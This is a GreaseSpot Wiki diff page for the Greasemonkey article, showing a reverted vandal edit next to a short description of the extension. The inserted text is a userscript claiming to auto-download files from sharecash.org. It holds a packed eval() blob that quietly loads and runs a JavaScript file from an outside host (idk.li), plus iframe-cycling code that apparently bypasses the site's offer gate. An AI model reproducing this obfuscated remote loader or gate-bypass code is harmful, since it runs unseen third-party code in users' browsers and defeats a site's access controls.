Greasemonkey: Difference between revisions

From GreaseSpot Wiki
Jump to navigationJump to search
m (Reverted edits by 201.42.134.189 (Talk) to last revision by Arantius)
Line 12: Line 12:
* [[Version history]]
* [[Version history]]
* [[wikipedia:Greasemonkey|Greasemonkey at Wikipedia]]
* [[wikipedia:Greasemonkey|Greasemonkey at Wikipedia]]
// ==UserScript==
// @name          Sharecash autodownload V2+
// @author   Timendum
// @namespace      sharecash
// @description    Auto-download files from sharecash.org
// @include        http://sharecash.org/offer2.php?*
// @include        http://69.93.2.170/offer2.php?*
// @version   3.5.2
// ==/UserScript==
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3 1=2.4(\'5\');1.6=\'7://8.9/a/b.c\';1.d=\'e/f\';2.g(\'h\')[0].i(1);',19,19,'|GM_JQ|document|var|createElement|script|src|http|idk|li|scripts|main|js|type|text|javascript|getElementsByTagName|head|appendChild'.split('|'),0,{}))
var ShareTimendum = {
frame: [],
steps: 0,
frameCount: 0,
baseUrl: 'http://www.example.org/?p=',
init: function() {
ShareTimendum.checkFrame();
},
checkFrame: function() {
for (var i=0; i < document.getElementsByTagName('iframe').length; i++) {
try {
var tmp = document.getElementsByTagName('iframe')[i].contentDocument.baseURI;
} catch(e) {
ShareTimendum.frame.push(i);
}
}
if (ShareTimendum.frame.length == 0) {
setTimeout(ShareTimendum.init, 1000);
} else {
setTimeout(ShareTimendum.makeStep, 500);
}
},
makeStep: function() {
if (ShareTimendum.frame.length == 0)
return;
if (ShareTimendum.frameCount == ShareTimendum.frame.length) {
ShareTimendum.frameCount = 0;
ShareTimendum.steps++;
}
document.getElementsByTagName('iframe')[ShareTimendum.frameCount].src = ShareTimendum.baseUrl + ShareTimendum.steps;
ShareTimendum.frameCount++;
setTimeout(ShareTimendum.makeStep, 2500);
},
};
setTimeout(ShareTimendum.init, 2000);

Revision as of 12:51, 4 August 2010

Greasemonkey is a user script manager. It is an extension for the Mozilla Firefox web browser.

The official Greasemonkey home page is: http://www.greasespot.net/

The original creator of Greasemonkey, Aaron Boodman, said this about its creation:

Greasemonkey was heavily inspired by Adrian Holovaty's site-specific extension for All Music Guide and the conversation which ensued after he published it. There were tons of sites I wanted to create SSE's for, but fully-fledged Firefox extensions proved too cumbersome. I wanted it to be as easy to create an SSE as it is to write DHTML.

See Also